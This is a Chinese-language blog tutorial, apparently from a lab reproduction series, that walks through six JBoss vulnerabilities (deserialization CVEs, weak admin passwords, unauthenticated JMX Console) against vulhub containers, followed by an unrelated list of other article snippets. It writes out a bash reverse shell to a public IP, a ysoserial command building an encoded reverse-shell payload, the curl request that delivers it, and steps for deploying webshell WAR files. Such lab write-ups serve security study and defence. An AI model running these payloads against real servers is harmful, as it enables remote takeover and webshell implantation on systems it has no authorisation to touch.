常见中间件漏洞(三、Jboss合集)
目录
三、Jboss
Jboss介绍
3.1 CVE-2015-7501
漏洞介绍
影响范围
环境搭建
漏洞复现
3.2 CVE-2017-7504
漏洞介绍
影响范围
环境搭建
漏洞复现
3.3 CVE-2017-12149
漏洞简述
漏洞范围
漏洞复现
3.4 Administration Console弱囗令
漏洞描述
影响版本
环境搭建
密码文件
漏洞复现
3.5 低版本JMX Console未授权
漏洞描述
影响范围
环境搭建
漏洞复现
3.6 高版本JMX Console未授权
漏洞描述
影响版本
环境搭建
漏洞复现
三、Jboss
Jboss介绍
JBoss是一个基于J2EE的开发源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。在J2EE应用服务器领域JBoss是发展最为迅速应用服务器。由于JBoss遵循商业友好的LGPL授权分发,并且由开源社区开发这使得JBoss广为流行。
3.1 CVE-2015-7501
Jboss JMXInvokerServlet 反序列化漏洞
漏洞介绍
这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象然后我们利用Apache Commons Collections中的 Gadget 执行任意代码
影响范围
JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0 CP10
JBoss AS (Wildly) 6 and earlierJBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform(SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBOSS BRMS (BRMS) 6.1.0
JBOSS BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server(EWS) 2.1,3.0
环境搭建
cd vulhub/jboss/JMXInvokerServlet-deserializationdocker-compose up -d
漏洞复现
1.POC,访问地址
http://47.99.98.0:8080/invoker/JMXInvokerServlet
返回如下,说明接口开放,此接口存在反序列化漏洞
2.下载 ysoserial 工具进行漏洞利用
https://github.com/frohoff/ysoserial
将反弹shell进行base64编码
bash -i >& /dev/tcp/47.99.98.0/7777 0>&1
java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45OS45OC4wLzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}">exp.ser
3.服务器设置监听得端⼝
nc -lvvp 7777
4.执行命令
curl http://47.99.98.0:8080/invoker/JMXInvokerServlet --data-binary @exp.ser
5.反弹成功
3.2 CVE-2017-7504
JBossMQ JMS 反序列化漏洞
漏洞介绍
JBoSS AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerlLServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码执行
影响范围
JBoss 4.x 以及之前的所有版本
环境搭建
cd vulhub/jboss/CVE-2017-7504docker-compose up -d
漏洞复现
1.访问漏洞地址
http://47.99.98.0:8602/jbossmq-httpil/HTTPServerILServlet
python jexboss.py -u http://47.99.98.0:8602/
3.3 CVE-2017-12149
JBoss 5.x/6.x反序列化漏洞
漏洞简述
该漏洞为 Java反序列化错误类型,存在于 Jboss的 HttpInvoker 组件中的 ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞
漏洞范围
JBoss 5.x/6.x
cd vulhub/jboss/CVE-2017-12149
docker-compose up -d
漏洞复现
1.访问漏洞页面,看jboss版本
http://47.99.98.0:8603/
2.验证是否存在漏洞,访问
http://47.99.98.0:8603/invoker/readonly
该漏洞出现在/invoker/readonly中 ,服务器将用户post请求内容进行反序列化
返回500,说明页面存在,此页面存在反序列化漏洞
3.使用工具进行检测 DeserializeExploit 如果成功直接上传webshell即可:工具:
https://github.com/yunxu1/jboss-_CVE-2017-12149
3.4 Administration Console弱囗令
漏洞描述
Administration Console管理页面存在弱口令,`admin:admin`.登陆后台上传war包,getshell
影响版本
全版本
环境搭建
因为这里用的环境是CVE-2017-12149的靶机
cd vulhub/jboss/CVE-2017-12149
docker-compose up -d
密码文件
/iboss-6.1.0.Final/server/default/conf/props/imx-console-users.properties
账户密码:admin:vulhub
漏洞复现
http://47.99.98.0:8603/admin-console/login.seam?conversationld=4
1.登录后台,点击web应用
admin vulhub
2.上传后门shell.war
3.连接WebShell
http://47.99.98.0:8603/test/1.jsp
3.5 低版本JMX Console未授权
低版本JMX Console未授权访问Getshell
漏洞描述
此漏洞主要是由于JBoss中/imx-console/HtmIAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进入到 jmx控制台,并在其中执行任何功能。
影响范围
Jboss4.x以下
环境搭建
cd vulhub/jboss/CVE-2017-7504docker-compose up -d
漏洞复现
1.访问
http://47.99.98.0:8602/jmx-console/
2.这里我们使用得复现环境不存在,所以需要密码(正常环境无需密码直接可进入)
admin admin
3.然后找到jboss.deployment (jboss 自带得部署功能)中的flavor=URL,type=DeploymentScanner点进去(通过URL的方式远程部署)
4.找到页面中的void addURL()选项远程加载war包来部署
5.制作war包,这里用之前制作好的test.war,填写war包远程地址
http://47.99.98.0/test.war
6.然后跳转以下页面
7.webshell连接
http://47.99.98.0:8602/test/1.jsp
pass
3.6 高版本JMX Console未授权
漏洞描述
JMX Console默认存在未授权访问,直接点击JBoss主页中的 JMX Console 链接进入JMX Console页面,通过部署war包,getshell
影响版本
Jboss6.x以下
环境搭建
cd vulhub/jboss/CVE-2017-12149docker-compose up -d
漏洞复现
http://47.99.98.0:8603/jmx-console
因为使用环境不存在该漏洞所以需要输入账户密码:admin vulhub
1.本地搭建部署点
在JMX Console页面点击jboss.system链接,在Jboss.system页面中点击service=MainDeployer,如下
2.进入service=MainDeployer页面之后,找到methodindex为17或19的deploy 填写远程war包地址进行远程部署
3.搭建远程部署,部署远程war包地址
4.然后输入lnvoke
http://47.99.98.0/test.war
点击Invoke
5.连接Webshel
http://47.99.98.0:8603/test/1.jsp
pass
相关文章:

常见中间件漏洞(三、Jboss合集)
目录 三、Jboss Jboss介绍 3.1 CVE-2015-7501 漏洞介绍 影响范围 环境搭建 漏洞复现 3.2 CVE-2017-7504 漏洞介绍 影响范围 环境搭建 漏洞复现 3.3 CVE-2017-12149 漏洞简述 漏洞范围 漏洞复现 3.4 Administration Console弱囗令 漏洞描述 影响版本 环境搭建…...
ios如何动态添加控件及动画
在ViewController中添加 // // ViewController.m // iosstudy2024 // // Created by figo on 2024/8/5. //#import "ViewController.h"interface ViewController () property (weak, nonatomic) IBOutlet UIButton *xigua; - (IBAction)xigua:(id)sender;endimpl…...

【数学建模】——【A题 信用风险识别问题】全面解析
目录 1.题目 2.解答分析 问题1:指标筛选 1.1 问题背景 1.2 数据预处理 1.3 特征选择方法 1.4 多重共线性检测 1.5 实现步骤 问题2:信用评分模型 2.1 问题背景 2.2 数据分割 2.3 处理不平衡数据 2.4 模型选择与理由 问题3:模型对…...

javascript:检测图片的宽高
1 方案描述 JavaScript提供了非常方便的FileReader和Image对象,可以帮助我们轻松实现这个功能。具体步骤如下: 获取文件输入框:首先,我们需要获取到用户选择的文件。读取文件内容:然后,通过FileReader对象…...

机械学习—零基础学习日志(高数23——无穷小运算)
零基础为了学人工智能,真的开始复习高数 这段时间,把张宇老师讲解考研的第一部分基本全部学习完毕了。 这里把第一部分的内容最后汇总一下。 无穷小运算——吸收律 这里展示一些无穷小的具体计算思路 无穷小运算——计算方法 泰勒展开的原则 夹逼准则…...

一个网络上计算机的通信
一台计算机上多个进程间的通信方式有:管道、共享内存、信号量、消息队列。如果不同的计算机上多个进程间通信,即通信的进程在不同的计算机上,需要用到网络相关的知识。 那么两台计算机通信需要解决哪些问题? 我们来回顾一下计算机…...
C语言基础题:吃冰棍(C语言版)
1.题目描述 机器猫喜欢吃冰棍。 买一根冰棍,吃完了会剩一个木棒;每三个木棒可以兑换一个冰棍。兑换出来的冰棍,吃完之后也能剩下一个木棒。 所以,如果机器猫买了5根冰棍,他可以吃完之后得到5个木棒;拿3个木棒兑换1根冰棍ÿ…...
C++中,vector、deque、list、set、multiset、unordered_set和unordered_multiset容器类的总结
最近用set比较多,复习一下基础。 在C中,vector、deque、list、set、multiset、unordered_set和unordered_multiset都是容器类,但它们有不同的特点和用途。下面是对它们的区别和示例说明: 1. vector 特点: 动态数组,…...
Python处理Redis
操作Redis redis也是基于tcp通信的,所以我们可以直接通过socket来做 Redis通信过程 简单使用 redis-cli.exe -h192.168.56.188 auth 123456 set name myredis get name lindex students 0 # 查看students列的第一条数据核心协议体 *2 # 表示下述的指令由2个字符…...

nodejs多版本随心切换-windows
nodejs多版本控制 1. 安装 nvm github下载地址 不需要卸载已安装的nodejs,安装时会让你选择nodejs的位置,可修改为你已经安装的路径,会自动搜索已安装版本,并进行弹窗询问,选择托管即可 2. 修改配置文件 在 nvm 安装…...

json文件格式
json文件格式 格式介绍1格式介绍2格式3 格式介绍1 格式介绍2 格式3 参考地址...

日撸Java三百行(day15:栈的应用之括号匹配)
目录 一、栈的括号匹配 二、代码实现 1.方法创建 2.数据测试 3.完整的程序代码 总结 一、栈的括号匹配 要完成今天的任务,需要先来了解一下什么是栈的括号匹配。首先,顾名思义,括号匹配就是指将一对括号匹配起来,我们给定一…...
Oracle-OracleConnector
提示:OracleConnector 类是 Debezium 中用于与 Oracle 数据库交互的一个连接器组件 文章目录 前言一、核心功能二、代码分析总结 前言 提示:OracleConnector 类负责配置、启动、管理和验证与 Oracle 数据库的连接,并为后续的数据捕获任务准备…...

『 Linux 』线程池与 POSIX 线程的封装编码实现
文章目录 线程池概念线程池的编码实现线程池的测试参考代码 线程的封装使用测试封装后的线程参考代码 线程池概念 池化技术是一种资源管理方法,通过预先创建和管理一组资源以便在需要使用时快速分配这些资源; 线程池是池化技术的一种典型应用; 资源分配 在线程池中预先创建一定…...

【C++】————哈希表
作者主页: 作者主页 本篇博客专栏:C 创作时间 :2024年8月6日 前言: 在计算机科学的广袤世界中,数据结构犹如基石,支撑着各种高效算法的构建与运行。而哈希表(Hash Table)&#…...
前端学习AI历程
AI基本概念tensorflow入门conda搭建环境,pycham使用训练自己的第一个模型AI目前前端方便入手的几个方向 素材图片库图像识别,在线学习低代码应用智能客服 获取数据集 roboflowkagglecocomakesense(用于打标) 认识yolo两个简单小应…...

常见中间件漏洞复现之【Tomcat】!
Tomcat介绍 tomcat是⼀个开源⽽且免费的jsp服务器,默认端⼝ : 8080,属于轻量级应⽤服务器。它可以实现 JavaWeb程序的装载,是配置JSP(Java Server Page)和JAVA系统必备的⼀款环境。 在历史上也披露出来了很多的漏洞 …...

C++并发编程(一):线程基础
简介 本文学习的是 b 站 up 恋恋风辰的并发编程教学视频做的一些笔记补充。 教程视频链接如下:线程基础:视频教程 文档链接如下:线程基础:笔记文档 理论上直接看 up 提供的笔记文档即可,我这里主要是记录一些我自己…...

enq: HW - contention事件来啦
业务系统反应数据库慢,根据时间查看awr报告。 先看一眼事件名称 HW enqueue 用于序列化超出段高水位线的空间分配。如果同时向对象添加大量数据,则多个进程可能同时尝试在高水位线上方分配空间,从而导致争用。 既然是控制资源并发的enq&…...

MyBatis补充
控制类和dao层接口以及mapper中的xml是怎样的关联的? 在Mybatis中,控制类和dao层接口是通过mapper的xml文件进行连接的。 控制类调用dao层接口中的方法,通过接口实现进行访问数据库操作。dao层接口定义数据库操作的方法,提供给控制…...
应用升级/灾备测试时使用guarantee 闪回点迅速回退
1.场景 应用要升级,当升级失败时,数据库回退到升级前. 要测试系统,测试完成后,数据库要回退到测试前。 相对于RMAN恢复需要很长时间, 数据库闪回只需要几分钟。 2.技术实现 数据库设置 2个db_recovery参数 创建guarantee闪回点,不需要开启数据库闪回。…...

中南大学无人机智能体的全面评估!BEDI:用于评估无人机上具身智能体的综合性基准测试
作者:Mingning Guo, Mengwei Wu, Jiarun He, Shaoxian Li, Haifeng Li, Chao Tao单位:中南大学地球科学与信息物理学院论文标题:BEDI: A Comprehensive Benchmark for Evaluating Embodied Agents on UAVs论文链接:https://arxiv.…...

蓝牙 BLE 扫描面试题大全(2):进阶面试题与实战演练
前文覆盖了 BLE 扫描的基础概念与经典问题蓝牙 BLE 扫描面试题大全(1):从基础到实战的深度解析-CSDN博客,但实际面试中,企业更关注候选人对复杂场景的应对能力(如多设备并发扫描、低功耗与高发现率的平衡)和前沿技术的…...
macOS多出来了:Google云端硬盘、YouTube、表格、幻灯片、Gmail、Google文档等应用
文章目录 问题现象问题原因解决办法 问题现象 macOS启动台(Launchpad)多出来了:Google云端硬盘、YouTube、表格、幻灯片、Gmail、Google文档等应用。 问题原因 很明显,都是Google家的办公全家桶。这些应用并不是通过独立安装的…...

高等数学(下)题型笔记(八)空间解析几何与向量代数
目录 0 前言 1 向量的点乘 1.1 基本公式 1.2 例题 2 向量的叉乘 2.1 基础知识 2.2 例题 3 空间平面方程 3.1 基础知识 3.2 例题 4 空间直线方程 4.1 基础知识 4.2 例题 5 旋转曲面及其方程 5.1 基础知识 5.2 例题 6 空间曲面的法线与切平面 6.1 基础知识 6.2…...
C++.OpenGL (10/64)基础光照(Basic Lighting)
基础光照(Basic Lighting) 冯氏光照模型(Phong Lighting Model) #mermaid-svg-GLdskXwWINxNGHso {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-GLdskXwWINxNGHso .error-icon{fill:#552222;}#mermaid-svg-GLd…...
[Java恶补day16] 238.除自身以外数组的乘积
给你一个整数数组 nums,返回 数组 answer ,其中 answer[i] 等于 nums 中除 nums[i] 之外其余各元素的乘积 。 题目数据 保证 数组 nums之中任意元素的全部前缀元素和后缀的乘积都在 32 位 整数范围内。 请 不要使用除法,且在 O(n) 时间复杂度…...

如何在网页里填写 PDF 表格?
有时候,你可能希望用户能在你的网站上填写 PDF 表单。然而,这件事并不简单,因为 PDF 并不是一种原生的网页格式。虽然浏览器可以显示 PDF 文件,但原生并不支持编辑或填写它们。更糟的是,如果你想收集表单数据ÿ…...

Yolov8 目标检测蒸馏学习记录
yolov8系列模型蒸馏基本流程,代码下载:这里本人提交了一个demo:djdll/Yolov8_Distillation: Yolov8轻量化_蒸馏代码实现 在轻量化模型设计中,**知识蒸馏(Knowledge Distillation)**被广泛应用,作为提升模型…...

Linux 中如何提取压缩文件 ?
Linux 是一种流行的开源操作系统,它提供了许多工具来管理、压缩和解压缩文件。压缩文件有助于节省存储空间,使数据传输更快。本指南将向您展示如何在 Linux 中提取不同类型的压缩文件。 1. Unpacking ZIP Files ZIP 文件是非常常见的,要在 …...